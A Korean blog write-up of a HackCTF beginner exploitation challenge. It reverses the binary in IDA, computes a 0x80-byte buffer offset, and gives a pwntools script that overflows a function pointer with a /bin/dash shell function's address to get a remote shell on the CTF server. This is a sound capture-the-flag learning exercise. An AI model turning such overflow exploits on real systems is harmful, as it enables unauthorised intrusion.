2020. 7. 7. 07:47ㆍCTF's Write-up
가장 먼저 해야할 일은 역시 실행시켜보는 것
이상한 문구가 나와서 당황했습니다.
따라서 이 프로그램은 뭔가 넣으면 뭔가가 나오는 프로그램 인것을 알 수 있죠
더 이상은 모르니 IDA로 까보면
1. [7번줄] s에 0x85사이즈의 값을 받아넣는다
2. [6번줄] s값을 출력하는 함수의 주소를 v5에 넣는다
3. [8번줄] s값을 출력하는 함수 주소 실행
그럼 이제 어떻게 풀어야할지 생각을 해야하는데 그 전에 보호기법 확인해서 풀이방향을 좁혀보자.
nx가 가능하니까 단순 bof로 쉘코드를 넣는건 불가능(짜피 버퍼 크기 딸려서힘듬)
그럼 ROP쪽이나 BOF에서 리턴주소 바꿔서 하는 가능성이 커보여서 함수들 찾아보는 중 에
초반에 나온 "하아하아하아하아"그 멘트를 찾고자 STRING을 봤는데 /bin/dash를 찾았으니 저걸 쓰면 될거같다고 생각했다.
쉘 함수 주소를 찾았으니
payload = "변수[S] + shell주소" 로 만들면 될거같다.
S의 사이즈를 찾는게 관건인데
이 부분을 보면
S[ebp-8C]
v5[ebp-C]
이므로 S의 크기는 (0x8C-0xC) = 0x80이다.
그리고 우리가 또 생각해야할께 윗부분에 설명한것처럼 v5에 그 다음에 실행할 함수의 주소가 들어가있어서 SFP를 고려하지 않고 바로 [shell의주소]로 덮어주면 된다.
(참고로 필자는 SFP 고려해서 삽질을 조금 했다.)
위 두 스택을 보면 실제 계산한 방법이 맞았다는거를 확인할 수 있다.
따라서 "A"*0x80+[shell주소] 해서 페이로드를 보내면 될것이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
from pwn import *
#remote setting
r = remote("ctf.j0n9hyun.xyz", 3001)
context.log_level="debug"
#function address
shell = 0x0804849B
#payload set
payload = ""
payload += "A"*(0x8C-0xC)
payload += p32(shell)
#log set
log.info("payload = " + payload)
#excute
r.sendline(payload)
#get control
r.interactive()
|
cs |
이렇게 하면 익스가 가능하다
'CTF's Write-up' 카테고리의 다른 글
HACKCTF - Basic_FSB (0) | 2020.07.08 |
---|---|
HACKCTF - / (0) | 2020.07.07 |
HACKCTF - Basic_BOF #1 (0) | 2020.07.06 |
h3x0r easy_of_the_easy write-up (0) | 2018.11.07 |
codegate2018 - BaskinRobins31 (0) | 2018.10.31 |